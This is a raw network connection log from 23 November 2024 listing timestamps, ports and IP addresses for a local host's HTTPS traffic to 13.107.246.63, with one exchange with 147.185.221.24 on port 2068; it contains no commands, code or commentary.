Nov 23, 2024 21:11:31.228321075 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.228388071 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.228447914 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.228668928 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.228686094 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.342710018 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.342737913 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.342789888 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.342813969 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.342860937 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.342861891 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.394846916 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.394874096 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.394969940 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.394998074 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.395029068 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.395138979 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.517792940 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.517882109 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.517976046 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.517976046 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.517998934 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.519212961 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.539930105 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.539994955 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.540072918 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.540353060 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.540364027 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.550441980 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.550473928 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.551147938 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.551206112 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.559140921 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.569235086 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.569262981 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.569483995 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.569525003 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.571274996 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.590415955 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.590444088 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.590600014 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.590635061 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.591166973 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.700469017 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.700536966 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.700572014 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.700592995 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.700613022 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.700629950 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.721533060 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.721565962 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.721605062 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.721620083 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.721669912 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.736814976 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.736862898 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.736912966 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.736922026 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.736978054 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.737287045 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.737309933 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.059966087 CET	49741	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:11:32.180969954 CET	2068	49741	147.185.221.24	192.168.2.4
Nov 23, 2024 21:11:32.529628992 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.530039072 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.530071974 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.531080008 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.531171083 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.532563925 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.532629013 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.532871962 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.532881975 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.579400063 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.709225893 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.728903055 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.728920937 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.729449034 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.732642889 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.732758045 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.732778072 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.735759974 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.751908064 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.751936913 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.753115892 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.753192902 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.755460978 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.755541086 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.758847952 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.758855104 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.771409988 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.776746035 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.778173923 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.778188944 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.804822922 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.809704065 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.809732914 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.809854984 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.809873104 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.810252905 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.811445951 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.811530113 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.824397087 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.824529886 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.827179909 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.827311039 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.827367067 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.827382088 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.827470064 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.871334076 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.876715899 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.919779062 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.920042038 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.920067072 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.921032906 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.921082973 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.921442986 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.921516895 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.921591043 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.921600103 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.968908072 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.982363939 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.982635021 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.982659101 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.983688116 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.983741045 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.984055042 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.984114885 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:32.984817028 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:32.984829903 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.017263889 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.017496109 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.017505884 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.018491030 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.018544912 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.018806934 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.018855095 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.018938065 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.018943071 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.025193930 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.028414965 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.028616905 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.028650045 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.029666901 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.029726982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.029977083 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.030025959 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.030086040 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.030100107 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.063606024 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.086294889 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.268563032 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.268779993 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.268805981 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.270251036 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.270309925 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.271528006 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.271595001 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.271763086 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.271768093 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.313323021 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.337635994 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337663889 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337671995 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337709904 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337735891 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337750912 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.337788105 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337807894 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.337810040 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.337836027 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.337860107 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.345352888 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.345391989 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.474812031 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.474839926 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.474885941 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.474898100 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.474940062 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.475863934 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.475888968 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.475956917 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.479080915 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.479123116 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.479191065 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.479377985 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.479388952 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.481308937 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.481353998 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.481415033 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.481599092 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.481607914 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.541146994 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.544352055 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.544397116 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.544652939 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.544675112 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.549431086 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.549472094 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.549530029 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.549751997 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.549767971 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550713062 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550740004 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550748110 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550761938 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550769091 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550771952 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550790071 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.550816059 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.550829887 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.550853014 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.552026987 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.555131912 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.555192947 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.558180094 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.558197975 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.559190035 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.564393044 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.564414978 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.564469099 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.564728022 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.564743042 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.602457047 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.708276033 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.708362103 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.708425045 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.708444118 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.709212065 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.709285975 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.709336042 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.730854034 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.730865002 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.730909109 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.730937958 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.730947971 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.730962038 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.730986118 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.731004953 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.753360987 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753441095 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753477097 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753499031 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.753518105 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.753518105 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753549099 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753562927 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.753566980 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.753586054 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.753611088 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.768635988 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.768707037 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.768779039 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.768807888 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.768906116 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.768959045 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.769717932 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.769732952 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.770358086 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.770401955 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.770421982 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.770433903 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.770457029 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.797523022 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.797599077 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.797666073 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.798500061 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.798517942 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.802450895 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.802522898 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.802655935 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.802859068 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.802890062 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.814973116 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.854924917 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.854944944 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.854953051 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.854975939 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.854984045 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.854985952 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.855041027 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.855078936 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.855102062 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.855134964 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.930844069 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.930860043 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.930898905 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.930932045 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.930969954 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.930984020 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:33.931005955 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:33.931034088 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.013345003 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.013371944 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.013477087 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.013488054 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.013586998 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.015048027 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.015080929 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.015122890 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.015127897 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.015156984 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.015165091 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.015183926 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.015189886 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.015242100 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.025651932 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.025753021 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.062767982 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.062788010 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.062886000 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.062908888 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.078176975 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.078247070 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.078310966 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.078322887 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.078352928 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.078371048 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.096941948 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.096968889 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.097013950 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.097035885 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.097050905 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.107572079 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.107667923 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.107696056 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.107716084 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.107734919 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.107768059 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.108304024 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.108320951 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.130799055 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.130824089 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.130877972 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.130904913 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.130918026 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.155030966 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.155076027 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.155097008 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.155107021 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.155114889 CET	49770	443	192.168.2.4	13.107.246.63
